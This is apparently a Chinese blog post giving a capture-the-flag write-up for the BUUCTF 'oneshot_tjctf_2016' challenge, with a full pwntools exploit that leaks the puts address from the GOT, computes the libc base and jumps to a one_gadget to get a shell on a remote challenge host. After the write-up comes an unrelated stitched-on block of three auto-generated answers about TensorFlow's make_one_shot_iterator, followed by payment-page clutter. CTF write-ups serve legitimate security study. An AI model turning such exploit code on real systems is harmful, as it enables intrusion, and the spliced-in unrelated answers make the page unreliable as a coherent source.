BUUCTF之“oneshot_tjctf_2016”

咳咳,这题就是对于onegadget的简单复习:泄露libc库某个函数,然后计算基地址,结合onegadget计算execve地址。

IDA中需要注意的:

*(_QWORD *)v4

这里着重说下“*(_QWORD )”,我们将之拆开来说:
(_QWORD
)意思是将八个字节的后者(v4)强制转换为8个字节的地址,而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”,程序中的意思是,再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的:
一个是int的使用,
一个是str()的形式将"put_addr"和“onegad”输入上去:这是因为我们利用“send__的形式与远端进行交互,而send_的要求就是要发送字符,二者的都是地址,是数,所以我们的利用str()将其转成字符形式”

### 回答1: make_one_shot_iterator是TensorFlow中的一个函数,用于创建一个只能迭代一次的迭代器。它可以用于处理一些只需要迭代一次的数据集,例如测试集或验证集。使用该函数创建的迭代器只能在定义时使用,不能在执行图时重新初始化。 ### 回答2: make_one_shot_iterator是TensorFlow中的一个函数,用于创建一个单次迭代器。迭代器在机器学习中起到非常重要的作用,主要用于批量处理数据。 make_one_shot_iterator函数接收一个数据集(Dataset)作为输入,并返回一个单次迭代器(OneShotIterator)。数据集可以通过tf.data.Dataset类进行创建,该类提供了一种高效、灵活的数据输入管道。 使用make_one_shot_iterator函数创建单次迭代器时,需要先定义一个数据集。数据集可以包含多种转换操作,如读取文件、解码图片、数据增强等。然后,使用make_one_shot_iterator函数创建一个迭代器对象。 迭代器对象可以通过get_next()方法来获取数据集中的每一个元素。在使用迭代器时,需要在TensorFlow会话中调用get_next()方法来执行迭代操作。每次调用get_next()方法时,会返回一个数据元素。 由于make_one_shot_iterator创建的是单次迭代器,即只能迭代一次数据集,因此在每次训练时需要重新创建和初始化迭代器。 总之,make_one_shot_iterator函数是TensorFlow中用于创建单次迭代器的一个重要函数,可以方便地对数据集进行批量处理,加速训练过程。 ### 回答3: make_one_shot_iterator是TensorFlow中的一个函数,用于创建一个只能迭代一次的迭代器。在TensorFlow中,使用Dataset API来处理数据,make_one_shot_iterator函数就是用来创建一个Dataset的迭代器的。 使用make_one_shot_iterator函数创建的迭代器可以用来遍历数据集中的每一个元素,但是只能迭代一次。一旦迭代器遍历完所有的元素,再次调用next方法时会抛出OutOfRangeError异常,表示迭代器已经到达了末尾。 使用make_one_shot_iterator函数的步骤如下: 1. 定义一个数据集,例如使用`tf.data.Dataset.from_tensor_slices`方法从张量或数组中创建一个数据集。 2. 使用make_one_shot_iterator函数创建一个迭代器,可以通过调用`make_one_shot_iterator.get_next()`方法来获取迭代器的下一个元素。 3. 在会话(Session)中通过循环来遍历迭代器的每一个元素,直到抛出OutOfRangeError异常。 make_one_shot_iterator函数的优点是简单易用,不需要单独初始化和关闭迭代器,可以直接在会话中使用。但是由于只能迭代一次,所以在某些场景下可能不太适用,比如需要多次迭代或需要在迭代中对数据集进行修改的情况下,可以考虑使用其他类型的迭代器。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值